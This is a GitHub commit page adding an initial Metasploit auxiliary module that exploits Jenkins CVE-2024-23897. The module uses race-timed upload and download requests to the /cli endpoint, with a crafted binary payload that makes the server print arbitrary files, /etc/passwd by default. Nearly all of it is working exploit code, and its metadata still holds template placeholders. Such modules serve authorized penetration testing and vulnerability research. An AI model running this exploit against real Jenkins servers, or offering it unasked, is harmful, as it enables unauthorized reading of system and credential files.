Skip to content

Commit 2c0f99a

Browse files
committed
initial POC for jenkins CVE-2024-23897
1 parent e5f96bd commit 2c0f99a

File tree

1 file changed

+188
-0
lines changed

1 file changed

+188
-0
lines changed
Lines changed: 188 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,188 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Auxiliary::Report
8+
include Msf::Exploit::Remote::HttpClient
9+
10+
def initialize(info = {})
11+
super(
12+
update_info(
13+
info,
14+
# The Name should be just like the line of a Git commit - software name,
15+
# vuln type, class. Preferably apply
16+
# some search optimization so people can actually find the module.
17+
# We encourage consistency between module name and file name.
18+
'Name' => 'Sample Webapp Exploit',
19+
'Description' => %q{
20+
docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.440-jdk17
21+
},
22+
'License' => MSF_LICENSE,
23+
# The place to add your name/handle and email. Twitter and other contact info isn't handled here.
24+
# Add reference to additional authors, like those creating original proof of concepts or
25+
# reference materials.
26+
# It is also common to comment in who did what (PoC vs metasploit module, etc)
27+
'Author' => [
28+
'h00die', # msf module
29+
'Yaniv Nizry' # discovery
30+
],
31+
'References' => [
32+
[ 'URL', 'https://www.jenkins.io/security/advisory/2024-01-24/'],
33+
[ 'URL', 'https://www.sonarsource.com/blog/excessive-expansion-uncovering-critical-security-vulnerabilities-in-jenkins/'],
34+
[ 'URL', 'https://github.com/binganao/CVE-2024-23897'],
35+
[ 'URL', 'https://github.com/h4x0r-dz/CVE-2024-23897'],
36+
[ 'URL', 'https://github.com/Vozec/CVE-2024-23897'],
37+
[ 'CVE', '2024-23897']
38+
],
39+
# from lib/msf/core/module/privileged, denotes if this requires or gives privileged access
40+
'Privileged' => false,
41+
'Targets' => [
42+
[ 'Automatic Target', {}]
43+
],
44+
'DisclosureDate' => '2024-01-24',
45+
# Note that DefaultTarget refers to the index of an item in Targets, rather than name.
46+
# It's generally easiest just to put the default at the beginning of the list and skip this
47+
# entirely.
48+
'DefaultTarget' => 0,
49+
'Notes' => {
50+
'Stability' => [ CRASH_SAFE ],
51+
'Reliability' => [ ],
52+
'SideEffects' => [ IOC_IN_LOGS ]
53+
},
54+
'DefaultOptions' => {
55+
'RPORT' => 8080
56+
}
57+
)
58+
)
59+
# set the default port, and a URI that a user can set if the app isn't installed to the root
60+
register_options(
61+
[
62+
OptString.new('TARGETURI', [true, 'The base path for Jenkins', '/']),
63+
OptString.new('FILE_PATH', [true, 'File path to read from the server', '/etc/passwd']),
64+
]
65+
)
66+
end
67+
68+
# Returns the Jenkins version. taken from jenkins_cred_recovery.rb
69+
#
70+
# @return [String] Jenkins version.
71+
# @return [NilClass] No Jenkins version found.
72+
def get_jenkins_version
73+
uri = normalize_uri(target_uri.path)
74+
res = send_request_cgi({ 'uri' => uri })
75+
76+
unless res
77+
fail_with(Failure::Unknown, 'Connection timed out while finding the Jenkins version')
78+
end
79+
80+
html = res.get_html_document
81+
version_attribute = html.at('body').attributes['data-version']
82+
version = version_attribute ? version_attribute.value : ''
83+
version.scan(/jenkins-([\d.]+)/).flatten.first
84+
end
85+
86+
# Returns a check code indicating the vulnerable status. taken from jenkins_cred_recovery.rb
87+
#
88+
# @return [Array] Check code
89+
def check
90+
version = get_jenkins_version
91+
vprint_status("Found version: #{version}")
92+
93+
# Default version is vulnerable, but can be mitigated by refusing anonymous permission on
94+
# decryption API. So a version wouldn't be adequate to check.
95+
if version
96+
return Exploit::CheckCode::Detected
97+
end
98+
99+
Exploit::CheckCode::Safe
100+
end
101+
102+
def upload_request(uuid)
103+
# send upload request asking for file
104+
Rex::ThreadSafe.sleep(0.01) # this sleep seems to be the magic to get the download request to hit very slightly ahead of the upload request
105+
res = send_request_cgi(
106+
'uri' => normalize_uri(target_uri.path, 'cli'),
107+
'method' => 'POST',
108+
'keep_cookies' => true,
109+
'ctype' => 'application/octet-stream',
110+
'headers' => {
111+
'Session' => uuid,
112+
'Side' => 'upload'
113+
# "Content-type": "application/octet-stream"
114+
},
115+
'vars_get' => {
116+
'remoting' => 'false'
117+
},
118+
# https://github.com/h4x0r-dz/CVE-2024-23897/blob/main/CVE-2024-23897.py#L45C13-L45C187
119+
'data' => "\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@#{datastore['FILE_PATH']}\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03"
120+
)
121+
122+
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
123+
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid server reply to upload request (response code: #{res.code})") unless res.code == 200
124+
# we don't get a response here, so we just need the request to go through and 200 us
125+
end
126+
127+
def process_result
128+
file_contents = []
129+
@content_body.split("\n").each do |html_response_line|
130+
# filter for the two lines which have output
131+
if html_response_line.include? 'ERROR: Too many arguments'
132+
file_contents << html_response_line.gsub('ERROR: Too many arguments: ', '').strip
133+
elsif html_response_line.include? 'COMMAND : Name of the command (default:'
134+
temp = html_response_line.gsub(' COMMAND : Name of the command (default: ', '')
135+
temp = temp.chomp(')').strip
136+
file_contents.insert(0, temp)
137+
end
138+
end
139+
return if file_contents.empty?
140+
141+
print_good("#{datastore['FILE_PATH']} file contents:\n#{file_contents.join("\n")}")
142+
end
143+
144+
def download_request(uuid)
145+
# send download request
146+
res = send_request_cgi(
147+
'uri' => normalize_uri(target_uri.path, 'cli'),
148+
'method' => 'POST',
149+
'keep_cookies' => true,
150+
'headers' => {
151+
'Session' => uuid,
152+
'Side' => 'download'
153+
},
154+
'vars_get' => {
155+
'remoting' => 'false'
156+
}
157+
)
158+
159+
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
160+
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid server reply to download request (response code: #{res.code})") unless res.code == 200
161+
162+
@content_body = res.body
163+
end
164+
165+
def run
166+
uuid = SecureRandom.uuid
167+
168+
print_status("Sending requests with UUID: #{uuid}")
169+
threads = []
170+
threads << framework.threads.spawn('CVE-2024-23897', false) do
171+
upload_request(uuid)
172+
end
173+
threads << framework.threads.spawn('CVE-2024-23897', false) do
174+
download_request(uuid)
175+
end
176+
177+
threads.map do |t|
178+
t.join
179+
rescue StandardError
180+
nil
181+
end
182+
if @content_body
183+
process_result
184+
else
185+
print_bad('Exploit failed, no exploit data was successfully returned')
186+
end
187+
end
188+
end

0 commit comments

Comments
 (0)